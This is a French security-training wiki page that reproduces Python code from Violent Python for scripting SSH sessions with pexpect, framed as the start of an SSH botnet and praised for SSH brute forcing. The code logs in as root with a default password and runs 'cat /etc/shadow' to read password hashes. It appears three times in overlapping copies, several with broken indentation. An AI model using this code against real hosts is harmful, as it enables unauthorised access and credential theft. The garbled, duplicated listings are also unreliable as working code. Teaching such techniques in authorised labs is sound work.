Build an ssh botnet

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Le code de cette page est repris de l'ouvrage Violent Python (T. J. O'Connor, Syngress, 2012). Reproduit ici à titre pédagogique ; les droits appartiennent à l'auteur et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — SSH
Dépendance pexpect
Technique Wrapper SSH / botnet

Construction d'un botnet SSH en Python via pexpect, qui permet d'interagir avec des applications interactives et de piloter des sessions SSH distantes. Fourni à titre pédagogique.

  • building an ssh botnet with python

Interacting with SSH Through Pexpect. Permets d'interacgir avec des applications. Excelent pour le brute force SSH

http://pexpect.readthedocs.org/en/latest/
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
	child.sendline(cmd)
	child.expect(PROMPT)
	print child.before
def connect(user, host, password):
	ssh_newkey = 'Are you sure you want to continue connecting'
	connStr = 'ssh ' + user + '@' + host
	child = pexpect.spawn(connStr)
	ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
	'[P|p]assword:'])
	if ret == 0:
		print '[-] Error Connecting'
		return
	if ret == 1:
	child.sendline('yes')
	ret = child.expect([pexpect.TIMEOUT, \
	'[P|p]assword:'])
	if ret == 0:
		print '[-] Error Connecting'
		return
	child.sendline(password)
	child.expect(PROMPT)
	return child


import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
	child.sendline(cmd)
	child.expect(PROMPT)
	print child.before
  • on a une application qui permet de wrapper tout ce qui passe par le SSH
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
	child.sendline(cmd)
	child.expect(PROMPT)
	print child.before
def connect(user, host, password):
	ssh_newkey = 'Are you sure you want to continue connecting'
	connStr = 'ssh ' + user + '@' + host
	child = pexpect.spawn(connStr)
	ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
	'[P|p]assword:'])
	if ret == 0:
		print '[-] Error Connecting'
		return
	if ret == 1:
		child.sendline('yes')
		ret = child.expect([pexpect.TIMEOUT, \
			'[P|p]assword:'])
		if ret == 0:
			print '[-] Error Connecting'
		return
	child.sendline(password)
	child.expect(PROMPT)
	return child
def main():
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
	main()

Voir aussi